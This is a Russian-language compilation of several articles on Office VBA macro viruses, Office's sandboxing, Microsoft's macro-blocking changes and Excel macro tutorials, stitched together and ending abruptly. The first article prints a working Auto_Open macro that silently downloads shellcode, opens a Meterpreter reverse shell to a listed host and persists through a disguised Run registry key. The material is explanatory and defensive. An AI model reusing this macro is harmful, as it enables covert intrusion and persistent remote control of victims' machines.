В 2016 году исследователи отметили всплеск активности, практически второе рождение, еще недавно казавшейся безнадежно устаревшей техники распространения нежелательного ПО — несущих злонамененную нагрузку макросов в документах Microsoft Office, т.н. «макровирусов».
Самый знаменитый макровирус, Melissa, появился в марте 1999 года. Вирус поразил по крайней мере сто тысяч компьютеров по всему миру, парализовал работу сотен компаний, ущерб экономике составил 80 миллионов долларов в одних только США.
Судя по отчетам компаний, связанных с информационной безопасностью (например, здесь ), на сегодняшний день макровирусы все еще занимают верхние строчки в рейтингах по распространенности.
Не появилось никаких способствовавших этому новых уязвимостей, как в общем-то не было никаких чисто технических предпосылок. По-видимому, распространители malware, испытывая недостаток в свежих багах, обратили свои взоры на плохо забытые (и все еще эффективные) старые.
Почему почти через двадцать лет та же техника остается на вооружении всевозможных компьютерных злоумышленников? Попробуем разобраться.
Kovter и Emotet распространяются при помощи макросов в документах Office.
Что такое «макрос»
Так называемые «макросы» Microsoft Office представляют собой небольшие программы для интерпретируемого языка Visual Basic for Applications (VBA), поддержка которого встроена в линейку продуктов Microsoft Office.
Макросы в силу своих возможностей могут быть использованы для практически любой задачи автоматизации офисной работы.
Какие программы поддерживают макросы VBA
VBA охватывает все версии Microsoft Office для Windows, начиная с 1997г. и включая еще не вышедший 2019, а также некоторые другие приложения Microsoft, такие как MapPoint и Visio, и ПО других производителей: AutoCAD, CorelDraw, LibreOffice, Reflection, WordPerfect.
Реализована поддержка VBA и в Office for Mac OS X, за исключением 2008.
При выборочной установке Microsoft Office можно отказаться от поддержки VBA, но по умолчанию эта подсистема входит в набор устанавливаемых программ.
Редактор VBA в Microsoft Word
Что умеет VBA
Макросы документов обладают довольно богатым функционалом, который можно разбить на три категории:
- Доступ к содержимому документа, в том числе, и вставленному в него активному содержимому (ActiveX)
- Доступ к событиям интерфейса офисного приложения и действиям пользователя в этом офисном приложении (например, нажатие клавиш)
- Доступ к файловой системе, ресурсам операционной системы при помощи создаваемых COM и WMI объектов.
Доступ к содержимому документа может быть необходим для автоматического редактирования и формирования документов. Это очень важная возможность, которая позволяет автоматизировать некоторую рутинную работу офисных сотрудников (например, вставку заготовленных шаблонов таблиц или других элементов в документы).
Доступ к интерфейсу и событиям интерфейса офисного приложения позволяет упростить работу с макросами (например, помогает привязать исполнение макроса к событию или комбинации клавиш). Исполнение макросов может быть привязано к различным событиям интерфейса или к действиям пользователя. Например, макрос AutoOpen привязывается к событию открытия документа, чем и обязан использованию злоумышленниками в качестве основного.
Доступ к файловой системе и ресурсам ОС бывает необходим для выполнения сложных задач автоматизации, связанных с обработкой нестандартных форматов документов и/или автоматического распространения (например, рассылка автоматически сгенерированных отчетов по почте).
Последний класс функциональных возможностей делает исполнение макроса с точки зрения безопасности равносильным запуску обычного исполняемого файла. C учетом того, что макросы могут быть присоединены к документам, и начинать свое выполнение автоматически (если не учитывать ограничения безопасности), можно утверждать, что открытие такого документа равносильно запуску стороннего исполняемого файла, который получает те же привилегии в системе, что и активировавший его пользователь.
Автоматизация позволяет программам на VBA управлять поведением не только приложения-хоста, но и другими приложениями Microsoft Office (как, впрочем, и любыми объектами COM в системе).
Само взаимодействие между скриптами VBA и хост-приложением осуществляется при помощи технологии автоматизации OLE. Для этого хост-приложение предоставляет API в виде COM-интерфейсов и библиотеку типов (TypeLibrary). Это API позволяет взаимодействовать с хост-приложением: например, модифицировать содержимое документа или получать различные уведомления о действиях пользователя. API не универсально, и может зависеть от типа и версии хост-приложения, поэтому макрос, предназначенный для работы внутри Microsoft Word, не будет работать в Excel. Однако, макросы документов могут использовать API автоматизации сразу же нескольких хост-приложений. Например, можно создать макрос, который исполняется внутри Excel: читает таблицу, формирует на её основе отчеты в формате Microsoft Word и рассылает их по различным почтовым адресам, используя автоматизацию Microsoft Outlook.
Помимо широких возможностей в операционной системе, программы VBA обладают такими привлекательными для злоумышленника свойствами, как надежность и стабильность выполнения, совместимость (с некоторыми оговорками) со всей линейкой Office. Подобной независимостью, обеспеченной виртуальной машиной VBA, никак не может похвастать большинство логических, и тем более бинарных уязвимостей.
Существуют документы-шаблоны, загружаемые приложением по умолчанию, к примеру, normal.dotm в Word. Эти документы также могут содержать макросы, запускаемые вместе с приложением. Эта простейшая техника может быть использована для закрепления нежелательного ПО в системе.
Методы незаметного проникновения на ПК в основном основаны на стандартных техниках, применяемыми вредоносным ПО. К ним можно отнести шифрование бинарной полезной нагрузки, которая записывается на диск макросом, использование WMI для создания дочернего процесса, выполняющего дальнейшие деструктивные действия.
' Author: Matt Nelson
' Twitter: @enigma0x3
Sub Auto_Open()
Execute
Persist
End Sub
Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\" & strComputer & "rootcimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\" & strComputer & "rootcimv2:Win32_Process")
objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID
End Function
Public Function Persist() As Variant
Dim WShell As Object
Set WShell = CreateObject("WScript.Shell")
WShell.RegWrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRunWindowsUpdate", "C:WindowsSystem32WindowsPowershellv1.0powershell.exe -NonInteractive -WindowStyle Hidden -noprofile -noexit -Command IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/persist.ps1'))", "REG_SZ"
Set WShell = Nothing
End Function
Пример макроса с «полезной» нагрузкой
Как реализована поддержка VBA
Причиной появления архитектуры VBA в том виде, в котором она известна нам сегодня, скорее всего, стала оптимизация компанией Microsoft затрат на разработку языка и самого движка макросов. За основу был взят готовый интерпретатор скриптового языка с возможностями, существенно превышающими требования, предъявляемые к макроязыкам офисных документов. Это позволяет создавать на VBA макросы, которые по своему функционалу, скорее, похожи на плагины для офисных приложений, и к ним должны предъявляться другие требования безопасности, распространения и публикации.
VBA является несколько урезанным вариантом Visual Basic и отличается также тем, что программы на нем работают лишь внутри приложения-хоста (например, Excel), связаны с документом, для которого созданы, и не могут быть запущены в качестве отдельного приложения.
В умелых руках эти небольшие ограничения легко преодолеваются. Программы VBA имеют возможность использовать динамические библиотеки DLL, классы COM, доступ к файловой системе — этого более, чем достаточно, чтобы произвести в операционной системе любые действия, доступные аккаунту, под которым запущены приложения Office.
Производитель утверждает, что макросы VBA в приложениях Office под Mac OS выполняются внутри песочницы, без доступа к системным функциям, файловой системе и другим приложениям. Однако с учетом того, что интерпретатор VBA под эту ОС разработан не так давно, исследователей безопасности вполне могут ожидать интересные находки в этом направлении.
В приложениях пакета для Windows изоляция исполнения макросов отсутствует. Макросы выполняются от имени и с правами пользователя, открывшего документ.
Обычно виртуальная машина VBEx (x — номер версии) устанавливается вместе с офисным пакетом и располагается в %CommonProgramFiles%microsoft sharedVBA«подпапка с версией». Она представляет собой несколько DLL библиотек и библиотек с ресурсами. Библиотеки загружаются в адресное пространство процесса приложения, которое выполняет макросы документа.
Код, созданный в редакторе VBA, сохраняется внутри файла документа. Документы современного формата Office Open XML, содержащие макросы, должны иметь специальное расширение («.docm»,».dotm»,».xlm»,».xltm», …), в противном случае приложение откажется их открывать. Внутри zip-архива документа проект VBA хранится в файле-хранилище CFBF.
В документах устаревшего формата (.doc, .xls, .ppt, …), представляющих собой CFBF, VBA сохраняется в хранилище второго уровня «Macros», формат которого аналогичен предыдущему.
В этом случае по названию (расширению имени файла) или значку пользователь никак не определит, что документ может содержать макросы.
Microsoft любезно опубликовала спецификацию формата хранения проектов VBA в документах Office: [MS-OVBA]. Как и следовало ожидать, многие интересные поля структур описаны в спецификации приблизительно следующим образом:
MUST be ignored on read. MUST not be present on write.
Тем не менее, при желании можно выяснить, что кроме исходного кода VBA в файл хранилища записывается также скомпилированый так называемый p-code (packed code). Формат этого промежуточного кода для виртуальной машины зависит от версии VBA. Если документ открыт в приложении, использующем ту же версию виртуальной машины, p-code будет загружен и выполнен, а исходный код проигнорирован. Существует также и третий вариант сохраняемого кода: это специфичный для версии приложения двоичный формат, который в спецификации обтекаемо назван Performance Cache и записывается в файл при выполнении программы.
Любопытно заметить, что, если формат p-code частично доступен антивирусным компаниям на условиях Non Disclosure Agreement, то о формате Performance Cache, называемом в ряде источников также Execode, практически неизвестно (основываясь на некоторых прецедентах можно даже предположить, что неизвестно и самой компании Microsoft).
Подобная техника дает определенную свободу действий создателям макровирусов и влечет за собой дополнительные сложности для антивирусных сканеров: в зависимости от версии пакета и виртуальной машины может быть скомпилирован исходный код, использован p-code либо загружен Performance Cache, которые совершенно необязательно могут соответствовать один другому.
При открытии документов, содержащих проекты VBA, приложение создает временный файл-хранилище, в который копирует директории VBA. Копирование осуществляется средствами системного Structured Storage API, непосредственно с содержимым хранилища на этом этапе приложения Office не взаимодействуют. Код VBA, в одном из трех вариантов, будет загружен виртуальной машиной только после того, как пользователь разрешит выполнение (или если выполнение разрешено по умолчанию).
Встроенные механизмы противодействия макровирусам
Можно выделить два основных вопроса безопасности, которые необходимо решить при разработке архитектуры собственного макроязыка:
* К чему могут иметь доступ макросы
* Могут ли макросы распространяться как составная часть документов.
Если рассмотреть архитектуру макросов VBA от Microsoft, описанную выше, становится очевидно, что оба эти вопроса решены неправильно. Это привело к тому, что открытие документа Microsoft Office c макросами равносильно запуску обычного исполняемого файла.
Таким образом, документы Microsoft Office с макросами:
* Обладают свойствами и возможностями обычного исполняемого файла
* Не принадлежат к зарегистрированному в системе типу исполняемых файлов и не воспринимаются пользователями как исполняемые.
Из-за распространенности пакета Microsoft Office и пересылок документов в почтовых вложениях, а также двух свойств документов с макросами, описанных выше, они стали легким и надежным способом проникновения вредоносного ПО на компьютеры пользователей. Настолько легким, что компании Microsoft пришлось решать эту проблему при помощи расширения функции механизма безопасности офисного пакета.
Два механизма безопасности интегрированы непосредственно в приложения Microsoft Office:
* Защищенный режим просмотра
* Политики запрета исполнения макросов VBA.
В Microsoft Office есть защищенный режим, который активируется при просмотре файлов, загруженных из интернета, запрещает запуск любого активного содержимого (в том числе, и макросов) и создает ряд ограничений для процесса, который открывает этот документ. При открытии документа в таком режиме создается дочерний процесс (в котором и происходит просмотр документа) с пониженным уровнем целостности и ограничением Job на создание дочерних процессов (делается ограничением одного активного процесса в Job).
Эти ограничения, в первую очередь, направлены на предотвращение эксплуатации обычных бинарных уязвимостей в самом офисном приложении.
Изоляция процесса, отображающего документ в защищенном режиме, реализована в целом хорошо и заслуживает отдельного упоминания.
На уровне приложения в ОС Microsoft Windows предоставляет следующие возможности изоляции процесса:
* Ограничения токена (маркера доступа) процесса
* Ограничения GUI-подсистемы
* Ограничения объекта Job для процесса.
Изоляция процесса офисного приложения, отображающего документ, реализуется при помощи всех этих трех механизмов.
Примерная схема работы защищенного режима просмотра документов Microsoft Office
Недоверенные документы открываются в изолированном процессе, который создается главным процессом-брокером офисного приложения. Для этого формируется специальный токен, с которым будет создаваться изолированный процесс при помощи функции CreateProcessAsUser. В зависимости от того, поддерживает ли операционная система запуск процессов с токеном AppContainer или нет, токен формируется по-разному.
Для операционных систем, поддерживающих технологию AppContainer (Windows 8 и выше), выполняется создание папки контейнера, настройка разрешений для работы с именованным каналом, по которому изолированный процесс может общаться с процессом-брокером, а также добавляется особая возможность (Capability) с недокументированным SID, свойственная только Microsoft Office. Процессы, работающие на основе технологии AppContainer, ограничены добавленными в них возможностями (Capabilities). Они определяют границы песочницы, в которых исполняется процесс. Изолированный процесс офисного приложения, таким образом, может лишь работать с файлами внутри папки собственного контейнера, и общаться с процессом-брокером через именованный канал. Доступ в сеть полностью закрыт, поскольку у процесса отсутствуют возможности (Capability) для открытия портов и исходящих соединений.
Для более ранних операционных систем, не поддерживающих технологию AppContainer, но активирующих исполнение процесса с низким уровнем целостности, выполняется более сложная настройка токена изолированного процесса. Отключаются следующие SID в группах токена: Domain Users, Administrators, Console Logon, This Organization, NTLM Authentication, Medium Mandatory Level. SID следующих сущностей ограничиваются в маркере доступа изолированного процесса: Restricted Code, Everyone, Users, Logon Session. Настраиваются разрешения для работы с именованными каналом процесса-брокера и понижается уровень целостности до низкого. Также создается папка для работы изолированного процесса и настраиваются разрешения для взаимодействия с ней.
После настройки маркера доступа вне зависимости от поддержки технологии AppContainer создается процесс в состоянии паузы Suspended. Этот процесс добавляется в Job с особыми ограничениями. Ограничения объекта Job обычно следующие:
* Число активных процессов – 1
* Завершение процессов при необработанном исключении
* Завершение дочерних процессов при завершении процесса-родителя.
Опционально в зависимости от настроек офисного приложения формируется изоляция GUI, в частности, может быть создан новый рабочий стол для изолированного процесса. Обычно этого не делается. Рабочий стол определяет, в частности, буфер обмена. После создания, настройки разрешений процесса и добавления его в объект Job, процесс брокер возобновляет выполнение изолированного процесса, выводя его из состояния Suspended.
Описанная выше система изоляции процесса, в котором происходит открытие недоверенного документа, существенно усложняет эксплуатацию обычных бинарных уязвимостей. Как правило, злоумышленникам приходится искать в таком случае дополнительные уязвимости в ядре ОС, чтобы выйти за пределы создаваемой процессором-брокером песочницы изолированного процесса, в котором отображается документ.
Однако при разрешении запуска макросов приложение не будет работать в защищенном режиме (даже если файл был загружен), и таким образом виртуальная машина VBA не получит ограничений. Пользователь может отключить режим защищенного просмотра нажатием кнопки «Разрешить редактирование» / «Enable editing», которая появляется на желтой полосе предупреждения при открытии загруженного документа.
Параметры запуска приложений VBA можно изменить пользовательскими настройками.
Настройка политики запуска макросов в окне «Trust Center»
По умолчанию, стоит настройка, запрещающая исполнение всех макросов с оповещением пользователя. «Тревожный сигнал» выглядит следующим образом:
Нажимая на кнопку «Enable Content», пользователь разрешает исполнение всех макросов документов, в том числе, и автоматических, тем самым ставя под угрозу заражения свой ПК.
В ответ на возросшее количество угроз от распространения документов с макросами, в Microsoft разработали более жесткую политику безопасности, которая может быть настроена администраторами через механизм групповых политик Windows. Администратор может её сконфигурировать таким образом, что будет апрещено исполнение макросов в документах, загруженных по сети.
Также следует заметить, что для всех политик имеются исключения:
* Доверенные расположения в файловой системе
* Доверенные издатели.
Документы из доверенных расположений в файловой системе открываются с минимальными ограничениями. То же самое относится к механизму доверенных издателей. В частности, автоматически могут запускаться VSTO, подписанные сертификатами доверенных издателей.
Обход методов противодействия макровирусам
Большинство методов обхода механизмов безопасности строятся на социальной инженерии. Пользователи не воспринимают файлы Microsoft Office с макросами как исполняемые, поэтому легко вводятся в заблуждение демонстрацией ненормального открытия документа и приглашением пользователя включить макросы, чтобы устранить проблемы. Злоумышленники предоставляют подробные инструкции, на случай, если пользователи сами не могут догадаться как это сделать, и весомо выглядящее обоснование необходимости их включения.
На форумах соответствующей тематики можно встретить объявления о создании «индивидуальных дизайнерских решений» для оформления документов, призванных убедить пользователя включить активное содержимое. Стоимость таких решений может быть значительной, а эффективность, по мнению авторов, доходит до 60%.
Эксплуатируется желание пользователя поскорее получить информацию из документа. Из-за этого многие, даже не думая, разрешают исполнение макросов. Формирование внешнего вида и содержимого таких документов зависит уже исключительно от фантазии злоумышленников и основано на незнании типичными пользователями сложных возможностей макроязыка VBA, приводящих к заражению системы вредоносным ПО. После разрешения пользователем исполнения макросов и заражения компьютера, макрос, как правило, показывает пользователю ту информацию, которую он хотел увидеть, меняя соответствующим образом открытый документ при помощи API автоматизации.
Современные версии Office имеют возможность изменения групповых политик, что позволяет доменному администратору заблокировать выполнение VBA на всех пользовательских компьютерах без возможности изменения этой настройки пользователем. Несомненно, с точки зрения безопасности это шаг вперед. К сожалению, эта возможность зачастую не применяется, поскольку во многих компаниях есть свой активно используемый набор макросов, от которого никто не желает отказываться.
Есть и еще один неочевидный нюанс, который представляет собой значительную брешь в безопасности. В памяти программы Office содержится «свойство» AutomationSecurity — переменная, содержащая настройки безопасности для активного содержимого, в том числе для макросов и элементов ActiveX. Если приложение было запущено пользователем стандартным способом, например, значком на рабочем столе или открытием документа, эта переменная будет соответствовать настройкам, выставленным пользователем в окне «Центра безопасности» или администратором при помощи шаблонов. Если же приложение запущено как клиент Автоматизации, из скрипта или другого приложения (к примеру, приложения для бухучета), переменная AutomationSecurity будет содержать минимальное значение «msoAutomationSecurityLow». В результате при обработке автоматизированным приложением какого-либо документа будут выполнены и содержащиеся в документе VBA-программы, если только программист специально не изменил переменную на msoAutomationSecurityByUI или msoAutomationSecurityForceDisable.
И в заключение…
Что же вирус Melissa и причиненные им убытки? Удивительно эффективный и эффектный результат выглядит еще более впечатляющим, если обратить внимание на одну маленькую деталь: предупреждающее сообщение об опасности макровирусов при открытии документа, содержащего макросы, появилось еще в Microsoft Office 97 (Melissa, напомним, появился в 1999).
Для того, чтобы отключить предупреждение, необходимо было снять «галочку» в настройках.
Можно было прочитать подробное разъяснение об опасности макровирусов и нежелательности запуска макросов из ненадежных источников.
По-видимому, это мало кого остановило.
Один из самых популярных способов распространения зловредов — это добавление вредоносных команд в макросы электронных документов. И в подавляющем большинстве случаев речь идет о макросах для файлов Microsoft Office, то есть для обычных текстовых документов Word, таблиц Excel и презентаций Power Point. С такими файлами любой сотрудник компании сталкивается каждый день, и не раз.
Эта проблема существует уже более двадцати лет, так что ее решение, мягко говоря, давно назрело. В феврале этого года компания Microsoft анонсировала, что выполнение макрокоманд в скачанных из Интернета документах будет заблокировано. Однако уже в начале июля пользователи MS Office заметили, что это нововведение было отменено. На момент написания этого поста компания так и не опубликовала официального заявления по поводу отмены полной блокировки, хотя ее представители говорят, что это решение временное и было принято «на основе отзывов». Но это неплохой повод напомнить о том, что такое макросы, чем они могут навредить кибербезопасности компании и как защититься от этой угрозы.
Что такое макросы и чем они опасны?
Зачастую пользователям пакета Microsoft Office требуется автоматизировать какие-то процессы. Для этого предусмотрена возможность запрограммировать некий алгоритм действий, создав тот самый макрос. Простой пример: бухгалтер каждый месяц делает типовой отчет, и чтобы сэкономить время, он создает макрос, который автоматически будет выделять жирным все имена клиентов во втором столбце.
Для создания макросов используется VBA (Visual Basic for Applications) — несколько упрощенный, но все-таки язык программирования. Однако злоумышленники также могут использовать его в своих целях.
В этом месте стоит отметить, что работа с макросами подразумевает достаточно глубокие знания пакета программ Microsoft Оffice, которыми обладают далеко не все сотрудники, чтобы они ни писали в своих резюме. Некоторые из них даже не подозревают о существовании макросов. Преступники же, напротив, умеют создавать с помощью макросов не безобидные алгоритмы, автоматизирующие рутинные действия, а вредоносные команды.
Как это работает?
Типичная атака на компанию начинается с массовой рассылки на почту сотрудникам вредоносных писем. Эти письма могут выглядеть как приглашения на работу, новости компании, счета от подрядчиков, в них могут обещать уникальную информацию о конкурентах и многое другое. Изощренность уловок ограничивается только фантазией преступников. Главная задача таких писем — заставить человека открыть вложенный в письмо файл или скачать некий документ, перейдя по ссылке.
Преступникам нужно, чтобы вредоносный макрос, содержащийся внутри файла, был запущен. Много лет назад встроенные макросы запускались автоматически, но Microsoft ограничила эту функциональность, и теперь при открытии скачанного из Интернета файла пользователь видит предупреждение о том, что макрос заблокирован.
Казалось бы, проблема решена. Но нет — многие не задумываясь нажимают на кнопку Enable Content (Разрешить контент) и этим дают согласие на автоматическое выполнение тех самых макросов, что в итоге приводит к установке вредоносного ПО на устройство жертвы. Так злоумышленники получают доступ к инфраструктуре компании. При этом, как мы уже писали выше, большинство сотрудников даже не подозревают, к каким проблемам может привести невинное нажатие кнопки Enable Content.
Наконец разработчики из Microsoft пришли к единственно верному решению — не давать пользователю такого выбора, а сразу блокировать макросы в файлах из Интернета. Все сообщество ИБ-экспертов приветствовало это нововведение, появившееся у части пользователей уже в начале апреля этого года. Вместо кнопки они видели предупреждение системы безопасности с ссылкой на статью об угрозах кибербезопасности от макросов. Но, как выяснилось, радость была преждевременной — обновление откатили.
Как защититься?
Прежде всего, IT-администраторы крупных компаний имеют возможность запретить использование макросов на уровне политик безопасности. Так что если в ваших рабочих процессах макросы не используются, мы бы рекомендовали сделать это. В таком случае пользователь, открывший документ с макросом, увидит другое предупреждение:
Если же такая опция вам по каким-либо причинам недоступна, то до тех пор, пока специалисты Microsoft не вернули автоматическую блокировку выполнения макросов в скачанных файлах, особенно важно, чтобы все рабочие устройства были защищены надежными защитными решениями. Помимо этого, мы рекомендуем обучать всех работников компании основам кибербезопасности, уделяя особое внимание следующим моментам:
- Не стоит скачивать и открывать неожиданно полученные файлы, даже если они исходят от человека или организации, которым вы доверяете. Вполне возможно, что вам пишут мошенники.
- Не следует бездумно соглашаться на включение контента в скачанном с веб-страницы или полученном по электронной почте файле. Для обычного просмотра содержимого в этом не должно быть никакой необходимости.
- Если кто-то в письме или на сайте убеждает вас включить выполнение активного контента — это заведомо подозрительно.
Что такое макрос?
СВЯЗАННЫЕ: Узнайте, как использовать макросы Excel для автоматизации утомительных задач
Документы Microsoft Office — Word, Excel, PowerPoint и другие типы документов — могут содержать встроенный код, написанный на языке программирования, известном как Visual Basic для приложений (VBA).
Вы можете записывать свои собственные макросы, используя встроенный Macro Recorder. Это позволяет автоматизировать повторяющиеся задачи — в будущем вы сможете повторить записанные вами действия, запустив макрос. Следуйте нашему руководству по созданию макросов Excel для получения дополнительной информации. Макросы, которые вы создали сами, хороши и не представляют угрозы безопасности.
Однако злоумышленники могут написать код VBA для создания макросов, которые делают вредные вещи. Затем они могут встраивать эти макросы в документы Office и распространять их в Интернете.
Почему макросы могут делать потенциально опасные вещи?
Можно предположить, что язык программирования, предназначенный для автоматизации задач в пакете Office, будет довольно безопасным, но вы ошибаетесь. Например, макросы могут использовать команду VBA SHELL для запуска произвольных команд и программ или использовать команду VBA KILL для удаления файлов на жестком диске.
После загрузки вредоносного макроса в приложение Office, например Word, через зараженный документ, он может использовать такие функции, как «AutoExec», чтобы автоматически запускаться с Word, или «AutoOpen», чтобы автоматически запускаться при открытии документа. Таким образом, макровирус может интегрироваться в Word, заражая будущие документы.
Вы можете задаться вопросом, почему такое вредное поведение возможно даже при использовании пакета Office. Макросы VBA были добавлены в Office в 90-х годах, в то время, когда Microsoft не очень серьезно относилась к безопасности и еще до того, как Интернет принес угрозу вредоносных макросов домой. Макросы и код VBA не были разработаны для обеспечения безопасности, так же как технология Microsoft ActiveX и многие функции Adobe PDF Reader .
СВЯЗАННЫЕ: Что такое элементы управления ActiveX и почему они опасны
Макро Вирусы в Действии
Как и следовало ожидать, авторы вредоносных программ воспользовались такими недостатками в Microsoft Office для создания вредоносных программ. Одним из наиболее известных является вирус Мелисса, выпущенный в 1999 году. Он распространялся в виде документа Word, содержащего макровирус. При открытии в Word 97 или Word 2000 макрос выполнялся, собирал первые 50 записей в адресной книге пользователя и отправлял им по почте копию зараженного макросом документа Word через Microsoft Outlook. Многие получатели открывали зараженный документ, и цикл продолжался, засоряя почтовые серверы экспоненциально увеличивающимся количеством нежелательной почты.
Другие макровирусы вызывали проблемы другими способами — например, макровирус Wazzu заражал документы Word и вмешивался в них, периодически перемещая слова внутри документа.
С этими макросами было гораздо больше проблем, когда Office доверял макросам и загружал их по умолчанию. Это больше не делает.
Как Microsoft Office защищает от макросов
К счастью, Microsoft со временем всерьез занялась безопасностью . В Office 2003 добавлена функция уровня безопасности макросов. По умолчанию могут выполняться только макросы, подписанные доверенным сертификатом.
Современные версии Microsoft Office еще более ограничены. Office 2013 настроен на отключение всех макросов по умолчанию, предоставляя уведомление о том, что макрос не разрешен к запуску.
СВЯЗАННЫЕ: 50+ расширений файлов, которые потенциально опасны для Windows
Начиная с Office 2007, макросы также намного легче обнаруживать. По умолчанию стандартные документы Office сохраняются с суффиксом «x». Например, .docx, .xlsx и .pptx для документов Word, Excel и PowerPoint. Документы с этими расширениями не могут содержать макросы. Только документы с расширением файла, оканчивающимся на «m» — это .docm, .xlsm и .pptm, могут содержать макросы.
Как защитить себя
Чтобы на самом деле быть зараженным, вам нужно скачать файл, содержащий вредоносный макрос, и приложить все усилия, чтобы отключить встроенные функции безопасности Office. В результате этого макровирусы стали гораздо реже.
Вот все, что вам нужно сделать: запускать макросы только от людей или организаций, которым вы доверяете, если у вас есть для этого веские основания. Не отключайте встроенные функции безопасности макросов.
Макросы, как и любая другая компьютерная программа, могут быть использованы как для хорошего, так и для плохого. Организации могут использовать макросы для выполнения более мощных задач с Office, или вы можете создавать макросы для автоматизации повторяющихся задач самостоятельно. Но, как и любая другая компьютерная программа, вы должны запускать макросы только из источников, которым вы доверяете.
Риск безопасности и блокировка макросов
Microsoft Excel всегда с подозрением относился к файлам с макросами — особенно если они скачаны из какого-нибудь ненадежного источника , например, из интернета. И это вполне оправданно и понятно — макровирусы никто не отменял. Выражалось это в появлении примерно такого сообщения при открытии книги:
Однако с недавних (обновления марта-апреля 2022 года) пор всё стало более сурово:
Поменялся не только цвет предупреждения с жёлтого на красный, но и — что гораздо печальнее — пропала кнопка Включить содержимое (Enable content), позволявшая разблокировать макросы, если они вам всё-таки нужны. Нажатие же на кнопку Дополнительные сведения ничего не разрешает, а лишь приводит вас на сайт со справкой Microsoft по этой теме.
Попытки выключить макросы стандартным образом через вкладку Разработчик — Безопасность макросов (Developer — Macro Security) тоже ни к чему не приводят — блокировка не снимается:
Что же делать, если макросы в скачанном файле вам нужны для работы и необходимо их разблокировать?
Способ 1. Снятие блокировки в свойствах файла
Щёлкаем по файлу правой кнопкой мыши и выбираем команду Свойства (Properties). В открывшемся окне включаем галочку Разблокировать (Unblock):
Жмём на ОК и проблема решена. Но это придется делать с каждым файлом персонально.
Способ 2. Доверенные расположения
Другой способ заключается в добавлении папки, где лежат ваши книги с заблокированными в них макросами в список надёжных расположений, т.е. источников, которым Excel априори доверяет. Тогда не придется разблокировать каждый файл в отдельности.
Для этого идём в Файл — Параметры — Центр управления безопасностью — Параметры центра управления безопасностью — Доверенные расположения (File — Options — Trust Center — Trust Center Settings — Trusted Locations):
Жмём кнопку Добавить новое расположение и указываем папку с файлами. Затем давим на все ОК и перезапускаем Excel, чтобы сделанная настройка вступила в силу.
Вот и всё — и наши макросы опять в строю
Ссылки по теме
- Как использовать Личную Книгу Макросов (Personal MacroWorkbook)
- Что такое макросы и как их применять, запускать и копировать
Таблицы Excel являются одним из самых популярных способов хранения и систематизации информации. Если внедрить в Excel макросы, то возможности программы можно расширить практически вдвое. Например, макросы помогают автоматизировать рутинные процессы и ускорить выполнение монотонной работы. Часто пользуются ими специалисты, которые в Excel переводят отчеты из 1С. При помощи внедренного кода их легко привести к единому стандартному шаблону.
Что представляют собой Excel-макросы?
Макросы используются не только в таблицах, но и во всем Microsoft Office. Они представляют собой созданный при помощи Visual Basic for Applications код. Если вы частично знакомы с web-программированием, то можно провести аналогию с Javascript. Excel-макросы делают примерно то же самое, что и Javascript с данными формата HTML.
Небольшая часть того, что может сделать макрос в офисных приложениях:
• выравнивать документ по стилю и форматировать его;
• проводить операции с численными и текстовыми данными;
• прибегать к помощи внешних файлов (текстовых, баз данных и других);
• создавать с нуля новые документы;
• комбинировать несколько действий и выполнять их в автоматическом режиме.
Для работы с таблицей его можно создать самостоятельно или скачать готовый вариант из интернета. Макросы скачивать нужно только с проверенных сайтов, так как в противном случае вы можете внедрить в Excel вирус.
Чем могут быть опасны макросы в Excel?
Программисты не рекомендуют использование написанных другими людьми макросов, так как они могут быть опасными для ваших данных и ПК в целом. «Макровирусы» являются очень распространенным видом хакерства. Они способны:
• повредить файлы на ПК;
• похитить конфиденциальные данные.
Внедрение вируса происходит во время работы одного из офисных приложений – Word или Excel. После того как вы прекратите работу, в них будет начата автономная работа вируса и заражение им всей системы.
Еще один способ работы вредоносного макроса – посредничество для внедрения угроз в систему. В этом случае он является своеобразными воротами для внедрения и генерирования троянского ПО. Им уже будет управлять не видоизменённый макрос, а сама операционная система, а следовательно, угроза становится более масштабной. Не всегда получается вылечить такие вирусы, иногда приходится полностью менять Windows OC или жесткий диск ПК (в зависимости от задач, которые ставил хакер при написании кода).
Вы можете выбрать любой способ защиты от таких макросов. Наиболее популярно повышение уровня безопасности Excel, но в этом случае программа может перестать поддерживать ваши авторские, полезные макросы. Не стоит доверять файлам из неизвестных источников, так как они могут оказаться зараженными. Даже макрос, полученный с ПК вашего коллеги, может таить в себе угрозу. Если знакомый дал вам для работы файл, поддерживающий использование макросов, то, перед тем как разрешить системе его использование, уточните, каким образом он получил этот макрос.
Оптимальным вариантом является самостоятельное обучение искусству создания макросов для своих нужд. В этом случае вы можете полностью ручаться за их качество и безопасность.
Как записать макросы в Excel
Наиболее простой способ создания макроса – программирование прямо в Excel. Для этого вам понадобится таблица с внесенными данными и немного знаний, чтобы включить запись такого кода в программе.
Создание начинается с меню «Вид». В нем нужно выбрать позицию «Макросы» и команду «Записать Макрос». Далее нужно задать имя без пробелов, например, «Format» (если код будет отвечать за изменение формата текста или ячеек).
После чего все ваши действия будут автоматически записаны и преобразованы в код макроса. Снизу в документе появится кнопка с небольшим квадратом («Стоп»), нажатием на которую вы сможете остановить запись. Так можно автоматически записать в Excel макросы, примеры которых вы сможете разбирать дальше в процессе обучения.
Как включить макросы в Excel
Для того чтобы включить записанный макрос в других документах, необходимо сохранить его, предварительно очистив таблицу. Формат документа нужно задать как XLTM (именно он поддерживает макросы).
При последующем обращении к документу, чтобы включить в Excel макросы, необходимо сначала разрешить их использование во всплывающей верхней строке. Затем нужно импортировать данные, которые будут редактироваться макросом из обычной таблицы формата CSV. По окончании импорта необходимо снова обратиться к меню «Вид», выбрать там «Макросы» и найти в списке имя сделанного вами кода. В конце нажмите кнопку «Выполнить». После чего вы увидите, как программа по заданному вами ранее алгоритму выполняет расчеты и форматирование документа.
Как увидеть программный код макроса?
